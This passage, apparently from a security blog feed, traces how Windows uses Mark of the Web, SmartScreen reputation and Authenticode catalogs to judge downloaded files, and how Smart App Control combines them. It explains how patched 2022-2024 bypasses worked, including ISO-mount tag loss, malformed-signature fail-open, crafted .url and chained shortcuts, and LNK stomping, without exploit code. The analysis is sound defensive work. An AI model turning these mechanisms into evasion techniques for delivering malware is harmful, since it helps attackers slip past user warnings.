enterprise-managed devices (Intune-enrolled, Azure AD-joined, or under Group Policy management) at the end of the 48-hour evaluation window unless the user explicitly opts in. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. If SAC has already auto-disabled and you actually want it on, the only path to re-enable is a clean install of Windows. A Settings > Reset This PC does not bring it back.

The two architectures answer the same question with different trade-offs. A practitioner in 2026 needs both maps, because the bypass that breaks the Linux side rarely looks like the bypass that breaks the Windows side, and the mitigation that fixes one is rarely the mitigation that fixes the other.

What stays constant is the lesson the two lineages converged on over fifteen years: the trust boundary is the architecture. Move the verifier out of reach. Allowlist the producers. Treat the things that cannot be moved as telemetry, not as control. None of that closes Rice's wall, but all of it pushes the actual exploitable surface back another mile, on both operating systems.

Mark of the Web, SmartScreen, and the Catalog of Trust: How Windows Decides Whether to Warn You

noreply@paragmali.com (Parag Mali) — Wed, 13 May 2026 00:00:00 GMT

Windows decides whether a file is safe to run by stacking three independent trust signals: **Mark of the Web** (an NTFS alternate data stream tagging where the file came from), **SmartScreen Application Reputation** (a cloud lookup against Microsoft's file-and-publisher telemetry), and **Authenticode catalog files** (PKCS#7 containers that vouch for the hashes of in-box and driver binaries). The 2022-2024 bypass arc -- seven Security Feature Bypass advisories from Magniber's malformed-Authenticode ransomware to Elastic's LNK-stomping disclosure -- proved that every break is a *propagation* or *parser* failure, never a cryptographic one. Smart App Control on Windows 11 22H2+ is Microsoft's synthesis: a code-integrity policy gated by the same reputation oracle SmartScreen uses, fail-closed by construction. Except it silently disables itself on devices whose telemetry suggests the user would override it anyway.

1. A Double-Click That Should Have Warned You

It is October 2022. A user receives an email that looks like a shipping notice from a familiar vendor. They click the attachment, which is a .iso file. Microsoft Edge dutifully saves the download to disk and writes Mark of the Web onto it. They double-click the ISO. Windows Explorer mounts it as a virtual drive letter. They double-click a .lnk file inside. A JScript payload runs. Magniber ransomware encrypts their files.

The Attachment Execution Service was registered. SmartScreen was enabled. Microsoft Defender was up to date. Nothing warned them.

A few weeks later this would be catalogued as CVE-2022-41091 [@nvd-nist-gov-2022-41091] and patched on Microsoft's November 2022 Patch Tuesday, the same day CISA added it to the Known Exploited Vulnerabilities catalog [@cisa-gov-vulnerabilities-catalog]. The root cause was small enough to fit in a sentence: when Explorer mounted the ISO as a virtual drive, the files visible through that mount inherited no Zone.Identifier alternate data stream from the parent container, so the Attachment Execution Service had nothing to react to and SmartScreen was never invoked. The trust chain broke at a propagator, not at a cipher.

sequenceDiagram participant User participant Edge participant Explorer participant ISOmount as ISO mount participant LNK participant JScript participant AES as Attachment Execution Service participant SS as SmartScreen User->>Edge: Click email attachment Edge->>Edge: Save .iso, write Zone.Identifier ADS Edge->>SS: Reputation check on .iso SS-->>Edge: Unknown, two-stage prompt User->>Explorer: Double-click .iso Explorer->>ISOmount: Mount as virtual drive Note over ISOmount: MOTW NOT propagated to mounted files (CVE-2022-41091) User->>LNK: Double-click .lnk inside mount LNK->>AES: launch target AES-->>AES: No Zone.Identifier present Note over AES,SS: SmartScreen NEVER invoked AES->>JScript: Run payload JScript->>User: Magniber encrypts files

The point of this article is that the Magniber chain is one of seven Security Feature Bypass advisories in a two-year arc that together describe how Windows answers a deceptively simple question: is it safe to run this file? The answer, when you take it apart, is three independent decisions stacked on top of each other. The first decision asks the file system where did this come from? and is answered by Mark of the Web. The second decision asks the cloud what does the world think of this? and is answered by SmartScreen Application Reputation. The third decision asks a signed catalog is this file's hash vouched for by a publisher Microsoft trusts? and is answered by Authenticode and the catalog files in CatRoot.

A piece of metadata that records the origin of a file Windows did not produce itself. Originally a `` HTML comment recognised from Internet Explorer 4 (1997) and auto-written by Internet Explorer's Save As path from Internet Explorer 5 (1999), MOTW has lived since Windows XP SP2 as an NTFS alternate data stream named `Zone.Identifier` containing an INI-style `[ZoneTransfer]` block. Its only job is to let downstream consumers (SmartScreen, Office Protected View, the Attachment Manager) know that a file came from outside the local machine. It is a hint, not a cryptographic origin proof.

Each of those three layers has a different failure mode. The 2022-2024 bypass arc weaponised one of those failure modes per year. CVE-2022-41091 was a propagation failure in the origin layer. CVE-2022-44698 [@nvd-nist-gov-2022-44698] was a parse failure in the reputation layer. CVE-2023-36025 was a prompt-not-invoked failure in the shortcut-handling code that fronts the reputation layer. Each one tells you something about which layer was supposed to fire and didn't.

Where this is headed: by the end of the article you should be able to draw the three layers from memory, name the propagator path that failed in each CVE, and predict where the next bypass will land. The structure is historical and then synthetic. We will trace MOTW from a 1997 HTML comment to the modern NTFS stream, follow SmartScreen from a 2006 phishing list to a kernel-adjacent execution gate, watch Authenticode catalogs go from a 2000 driver-signing convenience to the off-line trust root that survives SmartScreen outages, and then put the three back together inside Smart App Control on Windows 11. The 2022-2024 CVE arc is the thread that holds the narrative together because every advisory in it is a propagator break, and a propagator break is exactly what the three-layer architecture is designed not to tolerate.

2. "Saved From URL": The Origin Tag Before It Was a Stream

Mark of the Web began life as a single HTML comment that Microsoft Learn's compatibility note [@learn-microsoft-com-compatibility-ms537628vvs85]) dates to "recognized starting with Microsoft Internet Explorer 4.0" (September 1997). Internet Explorer 5 (March 1999) was the first IE release whose Save As path auto-wrote the comment; IE4 was the first to recognise it. The comment looked like this:

<!-- saved from url=(NNNN)... -->

The number in parentheses is the length of the URL, in characters. The whole comment had to appear in the first 2,048 bytes of a locally saved HTML file. The token about:internet is the documented placeholder for the generic Internet zone, used when the original URL is not available. If Internet Explorer found such a comment there on open, IE pretended the file had come from that URL rather than from the local file system. The full Microsoft Learn lineage continues: "Beginning with Microsoft Internet Explorer 6 for Windows XP Service Pack 2 (SP2), you can also add the comment to multipart HTML (MHT) files and to XML files."

That sounds like a small detail. It was a defensive patch on a much bigger architectural decision. Alongside it, with Internet Explorer 4.0 in 1997, Microsoft had introduced the URLZONE enumeration [@learn-microsoft-com-apis-ms537175vvs85]) -- a small integer table whose five named defaults put every URL into one of five buckets. The buckets are still in urlmon.h today:

Value	Constant	Meaning
0	`URLZONE_LOCAL_MACHINE`	The local machine itself (`file://`, in-process resources)
1	`URLZONE_INTRANET`	The corporate intranet
2	`URLZONE_TRUSTED`	The user-configured Trusted Sites list
3	`URLZONE_INTERNET`	The public Internet
4	`URLZONE_UNTRUSTED`	The user-configured Restricted Sites list

A five-value default enumeration introduced in Internet Explorer 4.0 (1997) that assigns a single integer to every fully qualified URL. The five named constants (`URLZONE_LOCAL_MACHINE`=0 through `URLZONE_UNTRUSTED`=4) occupy the predefined range `URLZONE_PREDEFINED_MIN`=0 to `URLZONE_PREDEFINED_MAX`=999; administrator- or IE-configured custom zones can occupy the reserved `URLZONE_USER_MIN`=1000 to `URLZONE_USER_MAX`=10000 range. In practice all observed downstream consumers key on the five defaults. Every later Windows trust signal -- MOTW, SmartScreen, Smart App Control -- ultimately resolves a file to one of these integers via the IInternetSecurityManager::MapUrlToZone API [@learn-microsoft-com-apis-ms537133vvs85]). "Zone 3" and "Internet Zone" are the vocabulary every later layer inherits.

The asymmetry that mattered was zone 0. Content loaded from the Local Machine Zone got the most-privileged ActiveX, scripting, and cross-frame policy Microsoft documented [@learn-microsoft-com-apis-ms537183vvs85]) for any of the five zones. So if an attacker could get an HTML page onto your disk and trick you into opening it locally, that page ran with strictly more authority than the same page would have had if served from attacker.example. The whole MOTW HTML comment exists to undo that gift: it told IE "treat this saved page as if it came from the originating Internet URL, not from file://."The Internet Zone (ZoneId=3) is the only URLZONE value that uniformly triggers downstream consumers like SmartScreen, Office Protected View, and the Attachment Manager. Files marked ZoneId=2 (Trusted) bypass the prompt, an asymmetry that has its own history of social-engineering misuse over the years.

From HTML comment to NTFS stream

The HTML-comment form had one structural problem: it only worked for HTML. By 2003, the dominant delivery formats were .exe, .zip, .doc, and .scr -- formats with no obvious place to carry a comment that survived round-trips through editors and archivers. The 2004 Attachment Manager documentation [@support-microsoft-com-ee9b-cd795ae42738] records the Windows XP SP2 response: move the origin tag out-of-band, into an NTFS alternate data stream that any process could read by appending :Zone.Identifier:$DATA to the file path.

An NTFS feature that lets a file carry multiple named secondary data streams in addition to its primary content. Streams are addressed with the syntax `filename:streamname:type`. A file `payload.exe` can have a sidecar stream `payload.exe:Zone.Identifier:$DATA` that any process with read access to the file can open. Streams are invisible to most ordinary tools (`dir`, copy-paste through Windows Explorer between NTFS volumes preserves them; copies onto FAT/exFAT lose them silently).

The MS-FSCC Zone.Identifier reference [@learn-microsoft-com-8c39-2516a9df36e8] is the normative description: "Windows Internet Explorer uses the stream name Zone.Identifier for storage of URL security zones. The fully qualified form is sample.txt:Zone.Identifier:$DATA. The stream is a simple text stream of the form: [ZoneTransfer] ZoneId=3." The whole protocol is one INI block in UTF-16 LE. Read the stream, parse the integer, you have the zone.

Three things shipped together in XP SP2 in August 2004 and are still the load-bearing primitives in Windows 11 today. They are worth listing as a set because every later trust mechanism consumes them:

The Attachment Execution Service. An OS service that intercepts file launches initiated by browsers, mail clients, and IM apps. It looks up the file's Zone.Identifier, decides which per-zone policy applies, and either runs the file silently, prompts the user, or refuses.
The Zone.Identifier stream itself. The INI block above, written by any "quarantine-aware" downloader (IE6, then Edge, Outlook, OneDrive, Teams; later 7-Zip, WinRAR, and most major third-party tools).
The IZoneIdentifier [@learn-microsoft-com-apis-ms537032vvs85]) COM interface. The supported programmatic read/write surface for the stream, in urlmon.h / urlmon.dll. Microsoft Learn dates it: "The IZoneIdentifier interface was introduced in Microsoft Internet Explorer 6 for Windows XP Service Pack 2 (SP2)."

The Windows OS service introduced in XP SP2 (2004) that intercepts file launches initiated by browsers, mail clients, and other registered "trust-aware" callers. It reads the file's `Zone.Identifier` ADS via the Shell COM surface and applies per-zone policy: launch silently, prompt the user with the Attachment Manager dialog, or refuse. SmartScreen integrates as a consumer of the Attachment Execution Service on Windows 8 and later.

The Internet Explorer 6 update of 2004 was the first to write the ADS on download. Later releases of IE (7, 8, 9, 10) added the IZoneIdentifier2 interface with new keys -- AppDefinedZoneId and LastWriterPackageFamilyName [@learn-microsoft-com-apis-mt243886vvs85]) -- and a fully populated stream from a 2025-era Edge download looks like this:The LastWriterPackageFamilyName field is how downstream consumers know which AppContainer wrote the ADS, which the Office macro-blocking logic uses to differentiate, for example, "this file was downloaded by Edge" from "this file was extracted by an unspecified archiver."

[ZoneTransfer]
ZoneId=3
ReferrerUrl=<origin page URL>
HostUrl=<payload URL>
LastWriterPackageFamilyName=Microsoft.MicrosoftEdge_8wekyb3d8bbwe
AppZoneId=3

That seemingly minor [ZoneTransfer] ZoneId=3 integer is the input to every higher-level trust decision Windows makes about a downloaded file for the next two decades. Office's default blocking of macros from internet-zone files [@learn-microsoft-com-macros-blocked] operationally consumes this same ZoneId=3. SmartScreen consumes it. WDAC + ISG consumes it. Smart App Control consumes it. Five integers and a sidecar stream, and Windows has a story for "where did this come from?"

What it does not have yet, in 2004, is a story for "what does the world think of this file?" The next several years are the history of that second question.

3. What Failed Before: HTML Comments, Block Lists, and the Limits of Static Knowledge

Two early attempts at "is this file safe?" failed in instructive ways. Both put the answer either inside the file or inside a static list, and attackers moved faster than either could update.

The in-band tag

The HTML-comment MOTW of 1999-2003 was the first attempt. It worked, narrowly, for the one attack it was built to stop: a saved HTML page that ran with Local-Machine-Zone trust. But it had three structural failings the moment you stepped outside HTML.

First, it was in-band. Any text editor or third-party HTML processor that did not understand the comment convention would happily strip it as whitespace. A .zip extraction tool that round-tripped through a temp file lost it. So did a "Save As" path through a non-IE browser. The whole protocol depended on every reader of HTML preserving a comment that looked, to anyone unfamiliar, like noise.

Second, it was format-specific. The attack vector by 2002 had moved to .exe, .scr, .com, and the Office macro formats. None of these had a sanctioned place to carry an origin annotation. You could embed something in a custom resource section, but readers and writers of the file format would not preserve it.

Third, it was consumer-specific. Only Internet Explorer (and, briefly, Outlook through its HTML rendering) knew to look for the comment. A user who opened the file in Word, Excel, a third-party HTML editor, or a .htm-handling email client got no benefit. The XP SP2 NTFS-ADS move solved all three problems at once: out-of-band (no in-band parser conflicts), format-agnostic (every file type can carry an ADS), and consumer-agnostic (any code path that knows to ask can read the stream).

The static block list

The other pre-modern attempt was the IE7 Phishing Filter [@learn-microsoft-com-defender-smartscreen], which shipped with Internet Explorer 7 on October 18, 2006 [@en-wikipedia-org-wiki-internetexplorer7]. The Microsoft Defender SmartScreen overview page on Microsoft Learn dates the SmartScreen lineage back to that period (the original blog posts are no longer at stable URLs, but the lineage statement on the live overview page is the canonical reference). The IE7 design was a daily-refreshed list of known-bad URLs plus a small set of heuristics on URL structure that would catch obvious phishing patterns inline.

It was the right instinct and the wrong primitive. Daily-refreshed fell catastrophically against fast-flux DNS, which rotated phishing domains every few minutes. URL-only meant the filter had no opinion about a file you had already downloaded, since downloads were addressed by URL only until the file arrived on disk. By 2008 attackers had taught the system that the URL was not the right key. The right key was the file.

That insight, attributed contemporaneously to the IE8 and IE9 program-management teams (Eric Lawrence's IEInternals-era writing is the most-cited surviving record), became the IE8 SmartScreen Filter [@learn-microsoft-com-defender-smartscreen] when Internet Explorer 8 shipped on March 19, 2009 [@en-wikipedia-org-wiki-internetexplorer8] and then SmartScreen Application Reputation [@elastic-co-app-control] in Internet Explorer 9 (announced 2010, shipped March 14, 2011) [@en-wikipedia-org-wiki-internetexplorer9]. The Elastic Security Labs writeup Dismantling Smart App Control [@elastic-co-app-control] puts the historical pivot in one sentence: "Microsoft SmartScreen has been a built-in OS feature since Windows 8." What Windows 8 did in October 2012 was move the SmartScreen check out of Internet Explorer entirely and into the Shell's IAttachmentExecute execute path, so any file with Zone.Identifier:ZoneId=3 got a reputation check at launch time, regardless of which browser had downloaded it.

The generational shift that matters is not the move into the Shell, though. It is the move from "is this URL on a list?" to "what is this file's prevalence and publisher reputation across our global telemetry?" That is a different question with a different answer, and it required a different machine.

A pure file-hash reputation system has an obvious cold-start problem. Every brand-new build of legitimate software has a brand-new hash. If the only knob is "have we seen this hash before?", every legitimate first-day install triggers a warning, and over time users learn to click through warnings reflexively. Add a *publisher* signal -- the Authenticode certificate the file is signed with -- and the reputation system can carry confidence forward across builds: a publisher who has signed thousands of well-reputed binaries gets the benefit of the doubt on the next build, before any individual hash has accumulated telemetry. The publisher signal does for files what TLS server certificates do for URLs: it lets the system attribute behaviour to a long-lived identity rather than to ephemeral content.

Microsoft already had a publisher signal in 1996 -- Authenticode [@en-wikipedia-org-wiki-codesigning], the PE-embedded code-signing scheme that shipped with Internet Explorer 3 in August 1996 [@en-wikipedia-org-wiki-internetexplorer3] and is formally specified by the 2008 Windows Authenticode Portable Executable Signature Format [@download-microsoft-com-d599bac8184a-authenticodepedocx]. And it already had a way to vouch for many files at once -- catalog files, the .cat format that had shipped with Windows 2000 for driver-package signing. The next generation of file trust would weave all three signals together. Origin from MOTW. Reputation from SmartScreen. Publisher attestation from Authenticode and catalogs. That weave is the subject of the next section, and it is, finally, where the 2022-2024 CVEs land.

4. The Evolution, Generation by Generation

Each generation of Windows file trust was forced into existence by a specific failure of the previous one. The evolution was not planned. It was driven by attackers.

flowchart LR G0["Gen 0 (1999-2003) -- HTML-comment MOTW -- + Local Machine Zone"] G1["Gen 1 (2004-2009) -- NTFS Zone.Identifier ADS -- + Attachment Execution Service"] G2["Gen 2 (2009-2018) -- SmartScreen App Reputation -- cloud lookup + 2-stage UX"] G3["Gen 3 (2018-2024+) -- MOTW propagation hardening -- + catalogs + Smart App Control"] G0 -->|"format-specific, -- trivially stripped"| G1 G1 -->|"binary tag, -- no graduated score"| G2 G2 -->|"fail-open on -- parse error"| G3 G3 -->|"propagator gaps -- still active"| G3

Generation 1 (2004-2009): the NTFS Zone.Identifier ADS

The insight was that the origin tag should be out-of-band. The mechanism was three primitives shipped together in XP SP2: the [ZoneTransfer] INI block in the Zone.Identifier stream, the IZoneIdentifier / IAttachmentExecute COM surface, and the Attachment Execution Service. The Outflank red-team writeup Mark-of-the-Web from a Red Team Perspective [@outflank-nl-teams-perspective] -- published in March 2020 and widely treated as the canonical pre-CVE documentary record of Generation 1's failure modes -- enumerates what Generation 1 could and could not do.

What it could do: survive copies through Windows Explorer between NTFS volumes, identify the originating zone integer, and trigger the Attachment Manager prompt for executable launches.

What it could not do: distinguish the 40-millionth download of Adobe Reader from the first-ever download of flash-update.exe. A binary "Internet zone, yes or no" tag has no opinion about the file's reputation. It also could not survive copies onto FAT or exFAT, did not survive most archiver extractions in the 2010s, and was trivially stripped by any user-mode process via DeleteFile [@learn-microsoft-com-fileapi-deletefilew] on the ADS name. The Outflank post enumerated the operational gaps and the SANS Internet Storm Center diary by Didier Stevens [@isc-sans-edu-diary-28810] operationalised the test case for 7-Zip specifically.

The failure that pushed the system to Generation 2 was simple. A binary tag cannot rank-order ten million Internet-zone downloads. The 2008-2010 attacker pattern was high-volume file rotation: deliver the same payload under thousands of fresh URLs and filenames, defeat any URL-based block list, and let the file's "Internet-zone yes/no" tag carry zero information about whether the specific bytes on disk were known-bad, known-good, or simply unknown. The reputation oracle was the answer.

Generation 2 (2009-2018): SmartScreen Application Reputation

The insight was that "is this file safe?" needs a graduated score, not a binary tag, computed against global telemetry. The mechanism is what Microsoft Learn calls Microsoft Defender SmartScreen [@learn-microsoft-com-defender-smartscreen], and the reputation-for-developers page [@learn-microsoft-com-smartscreen-reputation] documents the two-signal model in present-day terms. The cloud lookup is keyed on three things at once: the SHA-256 of the file content, the Authenticode publisher certificate's identity (when there is one), and the URL the file came from (the HostUrl and ReferrerUrl from the MOTW ADS, plus the in-browser navigation URL where applicable).

The backend returns one of three verdicts: known-good, known-bad, or unknown. The user-visible artefact is the two-stage "Windows protected your PC" prompt -- described in detail in §6.2 -- designed to ensure a single oblivious click cannot launch an unreputed binary.

Generation 2 worked well enough for several years. The failure that pushed it to Generation 3 was structural and load-bearing for the rest of this article. It was: the SmartScreen lookup gates the warning, so any way to make the lookup error out gates the warning off.

In October 2022, Magniber ransomware actors started signing JS payloads with deliberately malformed Authenticode signatures. The malformed signature was not an attempt to forge anything; it was an attempt to crash the parser. HP Wolf Security's campaign analysis [@threatresearch-ext-hp-com-software-updates] by Patrick Schläpfer documented the September-2022 pivot from MSI/EXE to JS delivery; Will Dormann linked the campaign to a SmartScreen bug on social media in mid-October; and Mitja Kolsek's October 2022 0patch blog post [@blog-0patch-com-bypassing-motwhtml] reverse-engineered the root cause and shipped a micropatch 46 days before Microsoft's December 2022 fix, which was eventually catalogued as CVE-2022-44698 [@nvd-nist-gov-2022-44698].

Mitja Kolsek and the ACROS Security team behind 0patch have repeatedly shipped third-party micropatches for SmartScreen-class bypasses ahead of Microsoft, and the October 2022 CVE-2022-44698 patch is the cleanest case to study. The methodological lesson is that a bug fully reproducible in user mode, with a localised binary patch, can be fixed by a small independent team faster than a Patch Tuesday cycle. The same pattern would later apply to the 2024 LNK-stomping family. The cost of the approach is fragility: 0patch's binary patches target specific OS build numbers and must be re-issued for each Windows servicing update.

Google Threat Analysis Group's Benoit Sevens published the canonical pseudocode reconstruction [@blog-google-smartscreen-bypass] of the bug in March 2023 -- which both reused 0patch's earlier flow diagram and added the function-level walk-through -- alongside the CVE-2023-24880 [@nvd-nist-gov-2023-24880] disclosure that documented Microsoft's incomplete patch:

By default, shdocvw.dll's `DoSafeOpenPromptForShellExec` will not display a security warning, and if the `smartscreen.exe` request returns an error for whatever reason, `DoSafeOpenPromptForShellExec` proceeds with using the default option and runs the file without displaying any security warnings to the user. -- Benoit Sevens, Google TAG, March 2023

That is the architectural confession. The function that fronts the SmartScreen lookup is named DoSafeOpenPromptForShellExec. It interprets a parser error from smartscreen.exe as "no warning needed" rather than as "the lookup failed, default to fail-closed." A malformed Authenticode signature -- a payload-controlled input -- crashes the parser. The function does what it was written to do.The CVE-2023-24880 sequel is illustrative. Microsoft's December 2022 patch narrowed the parser's error handling for one specific malformed-signature shape. Within three months, Magniber actors had pivoted from JS files to MSI files using a different malformed-signature shape that hit the same fail-open code path in a still-unpatched branch. Google TAG observed "over 100,000 downloads of the malicious MSI files since January 2023, with over 80% to users in Europe." The patch fixed the symptom, not the root cause.

sequenceDiagram participant Shell as Explorer/Shell participant DSOP as shdocvw.dll -- DoSafeOpenPromptForShellExec participant SS as smartscreen.exe participant SR as signature_info::retrieve participant Cloud as App Reputation Service Shell->>DSOP: ShellExecute on MOTW-tagged file DSOP->>SS: Reputation request -- (hash + cert + URL) SS->>SR: Parse Authenticode signature Note over SR: Malformed signature -- parser returns error SR-->>SS: ERROR SS-->>DSOP: ERROR (not "fail-closed") Note over DSOP: CVE-2022-44698: -- treats ERROR as "no warning needed" DSOP->>Shell: Run file (no prompt) Note right of Cloud: Cloud never queried

Generation 3 (2018-2024+): propagation hardening, catalogs revived, Smart App Control

If Generation 2's defining failure is the parse class, Generation 3's defining failure is the propagation class. The insight is that the chain is only as strong as its weakest propagator: every code path that copies, extracts, mounts, or saves a marked file must propagate the origin tag, or the entire downstream stack is silently disabled for the descendants of that path.

A multi-year hardening campaign followed. The names below are the propagator paths Microsoft (and the wider vendor community) had to teach to honour the MOTW contract:

7-Zip 22.00 (June 2022). Igor Pavlov added the -snz command-line switch and the WriteZoneIdExtract registry value. With the option enabled, 7-Zip propagates the parent archive's Zone.Identifier to each extracted member. Didier Stevens documented the new flag in a SANS Internet Storm Center diary [@isc-sans-edu-diary-28810]; the community-maintained archiver-MOTW-support-comparison matrix on GitHub [@github-com-support-comparison] records which archivers propagate, which do so only for specific file extensions, and which still do not.
Outlook attachment-save (2022). Outlook's save-attachment path was taught to write Zone.Identifier:ZoneId=3 on the saved file. Office Insider builds carried this in early 2022 and general availability followed later that year.
Explorer ISO/IMG/VHD/VHDX mount (November 2022). CVE-2022-41091 [@nvd-nist-gov-2022-41091] -- the bug that opens this article. Will Dormann's disclosure resulted in the November 2022 patch that taught Explorer's container-file mount path to copy the parent file's Zone.Identifier onto every file visible through the mount. BleepingComputer's coverage [@bleepingcomputer-com-push-malware] quoted Microsoft's Bill Demirkapi confirming the propagation root cause.
Internet Shortcut .url handling (November 2023). CVE-2023-36025 [@nvd-nist-gov-2023-36025], exploited in the Phemedrone Stealer campaign that Peter Girnus, Aliakbar Zahravi, and Simon Zuckerbraun documented in a Trend Micro Research writeup [@trendmicro-com-phemedrone-stealhtml]. A crafted .url file with a URL= field pointing at a remote .cpl payload bypassed the SmartScreen prompt entirely, even though the .url itself carried MOTW. The failure was that the .url handler chose not to invoke SmartScreen for certain target types. BleepingComputer's reporting [@bleepingcomputer-com-phemedrone-malware] on the in-the-wild exploitation gives the practitioner context.
Shortcut chains (February 2024). CVE-2024-21412 [@nvd-nist-gov-2024-21412] -- a .url pointing at another .url (typically on an attacker-controlled WebDAV share). Trend Micro's Water Hydra writeup [@trendmicro-com-defender-shtml] by Peter Girnus documented the use of this chain to deliver the DarkMe RAT to financial-market traders, with the DarkGate companion writeup [@trendmicro-com-windows-smahtml] covering a parallel campaign. BleepingComputer's coverage [@bleepingcomputer-com-darkme-malware] records the February 13 patch date.
Shortcut chains, again (April 2024). CVE-2024-29988 [@nvd-nist-gov-2024-29988] and ZDI-24-361 [@zerodayinitiative-com-24-361] -- the bypass of the bypass, jointly credited to Peter Girnus (Trend Micro ZDI) and Dmitrij Lenz and Vlad Stolyarov of Google TAG. Microsoft's February 2024 patch had closed one chained-shortcut path but left a sibling path open. The classification migrated from "Internet Shortcut Files SFB" to "SmartScreen Prompt SFB," reflecting that the failure had moved up the call chain into the prompt-display code itself. BleepingComputer [@bleepingcomputer-com-malware-attacks] and Help Net Security [@helpnetsecurity-com-2024-29988] covered the joint April-2024 disclosure.
LNK extended-path stomping (September 2024). CVE-2024-38217 [@nvd-nist-gov-2024-38217], disclosed by Joe Desimone of Elastic Security Labs as part of the Dismantling Smart App Control [@elastic-co-app-control] writeup. A .lnk with a non-canonical LinkTarget IDList -- a path with a trailing dot or space, or an unusual extended-path encoding -- triggers Explorer's canonicalisation pass to rewrite the file in place, and the rewrite happens before CheckSmartScreen is called. The act of rewriting strips the Zone.Identifier stream. The trust signal is erased between the moment the file is opened and the moment SmartScreen would have inspected it. AhnLab's independent writeup [@asec-ahnlab-com-en-90299] confirms the September 10, 2024 patch date and the LNK-stomping classification. Elastic reported VirusTotal evidence of in-the-wild samples dating back six years.

Alongside the propagation campaign, Microsoft also shipped Smart App Control with Windows 11 22H2 in September 2022 [@blogs-windows-com-2022-update] (Panos Panay's launch announcement). SAC is the integration layer that brings the third trust layer -- the catalog of trust we are about to formalise -- into the same policy decision as MOTW and SmartScreen. Microsoft Learn's SAC overview [@learn-microsoft-com-control-overview] describes it as "an app execution control feature that combines Microsoft's app intelligence services and Windows' code integrity features." It also documents a silent auto-disable behaviour we will return to in §9 as one of the article's headline open problems.

Anchoring each generation to a person

The 2022-2024 arc has names attached to each disclosure. The history is worth pinning to people because the engineering choices were not made by an OS, they were made by humans:

CVE	Year	Class	Reporter / disclosing org
CVE-2022-41091	2022	Container-file MOTW propagation	Will Dormann / Bill Demirkapi (MSRC) analysis
CVE-2022-44698	2022	Malformed-Authenticode fail-open	Mitja Kolsek (0patch); Patrick Schläpfer (HP Wolf); Will Dormann
CVE-2023-24880	2023	MSI variant of the same fail-open	Benoit Sevens (Google TAG)
CVE-2023-36025	2023	`.url` SmartScreen-not-invoked	Anonymous via MSRC; Peter Girnus et al. (Trend Micro / ZDI)
CVE-2024-21412	2024	Chained-shortcut SFB (Water Hydra / DarkGate)	Peter Girnus (Trend Micro ZDI)
CVE-2024-29988	2024	Bypass-of-the-bypass	Peter Girnus (Trend Micro ZDI); Lenz and Stolyarov (Google TAG)
CVE-2024-38217	2024	LNK extended-path stomping	Joe Desimone (Elastic Security Labs)

The pattern reveals itself when you read the column titles. None of these are cryptographic breaks. None of them attack the SHA-256 hash, the PKCS#7 signature, the certificate chain, or the publisher key. Every single one is a propagation, parser, or canonicalisation failure -- a code path that either did not carry MOTW forward, did not fail-closed on a parse error, or did not invoke the SmartScreen prompt at all.

Note: Every CVE in this article is a missing MOTW, an unparsed signature, or a canonicalisation reorder. Not a broken hash function. Not a forged certificate. Not a chosen-message attack. The trust primitives Windows has shipped since the late 1990s (NTFS alternate data streams, PKCS#7 SignedData, Authenticode SpcIndirectDataContent, SHA-256) remain unbroken. The bugs live in the code that decides when to read, when to verify, and what to do on a parse error.

By 2024 the central pattern is clear, but stating it leaves one question: what's the unifying insight that makes all three trust layers work as a single system?

5. The Catalog of Trust: Three Decisions, Not One

The synthesis is small enough to fit on a sticky note. Windows file trust is not one decision. It is three independent decisions stacked on top of each other.

The three decisions ask three different questions of three different systems:

The OS asks the file system, where did this come from? The answer is the MOTW Zone.Identifier ADS. The contract is propagation: every code path that copies, extracts, mounts, or saves the file must honour the contract or the answer is lost.
The OS asks the cloud, what is this file's reputation? The answer is the SmartScreen Application Reputation verdict (and, for SAC and WDAC + ISG, the Intelligent Security Graph verdict, which uses the same backend). The contract is fail-closed on lookup error: if the SHA-256 hash and Authenticode publisher identity cannot be evaluated, the system must default to the warning, not skip it.
The OS asks a signed catalog, is this file's hash vouched for by a publisher Microsoft trusts? The answer comes from WinVerifyTrust [@learn-microsoft-com-wintrust-winverifytrust] falling through to a catalog lookup via CryptCATAdminCalcHashFromFileHandle [@learn-microsoft-com-mscat-cryptcatadmincalchashfromfilehandl] and the catalog walk under %SystemRoot%\System32\CatRoot. This is the off-line trust root: it requires no cloud, no telemetry, and no graduated score.

A PKCS#7 / CMS `SignedData` container whose content is a list of cryptographic hashes plus per-member attributes (`OSAttr`, `HWID`, `MemberInfo`). A single signature vouches for the integrity of every listed file at once. The format has been the WHQL driver-signing primitive since Windows 2000 (Microsoft Learn, *Catalog files and digital signatures* [@learn-microsoft-com-catalog-files]) and reuses the `SpcIndirectDataContent` structure defined in the 2008 *Windows Authenticode Portable Executable Signature Format* specification [@download-microsoft-com-d599bac8184a-authenticodepedocx].

Calling the three-layer composition a "catalog of trust" makes the symmetry explicit. Origin gives you provenance. Reputation gives you experience. Signature gives you attribution. The bypass class in the 2022-2024 arc is whichever layer has no answer: CVE-2022-41091 was the origin layer with no answer (MOTW not propagated through the ISO mount); CVE-2022-44698 was the reputation layer with no answer (the lookup errored out); CVE-2023-36025 was again the reputation layer with no answer, this time because the consuming code did not invoke it at all.

Windows file trust is not one decision, it is three -- where did this come from, what does the world think of it, and who vouches for it? Each layer answers a different question, and the bypass class is whichever layer is *missing* its answer. flowchart TD File["Downloaded file -- on disk"] Origin["LAYER 1: Origin -- Zone.Identifier ADS -- (MOTW)"] Reputation["LAYER 2: Reputation -- SmartScreen / ISG -- (file hash + cert + URL)"] Catalog["LAYER 3: Catalog signature -- WinVerifyTrust fall-through -- (CatRoot / CatRoot2)"] SAC["Smart App Control -- (WDAC policy)"] Verdict{"Run / Warn / Block"} File --> Origin File --> Reputation File --> Catalog Origin --> SAC Reputation --> SAC Catalog --> SAC SAC --> Verdict

The breakthrough that crystallised in late 2022 is treating the three not as separate features but as a layered, fail-closed defence with explicit propagation rules. Origin must propagate across every writer. Reputation must fail-closed on parser failure. Signature must be available even when the cloud is unreachable. And one decision, the one that finally executes, must compose all three.

Smart App Control is the canonical example of "all three layers composed." Microsoft Learn's SAC overview [@learn-microsoft-com-control-overview] describes the policy: in Enforcement mode, SAC blocks every binary that is not (a) recognised as known-good by the app intelligence service or (b) signed by a certificate chained to a CA in the Microsoft Trusted Root Program. The first clause is the reputation layer. The second clause is the catalog/signature layer. And both clauses are conditioned on the trigger: the file has MOTW, the launch goes through the Shell, and the kernel-mode block path engages before the binary maps. The first clause depends on the third trust layer because the Trusted Root signature is the off-line escape hatch that lets SAC run when the cloud is unreachable.

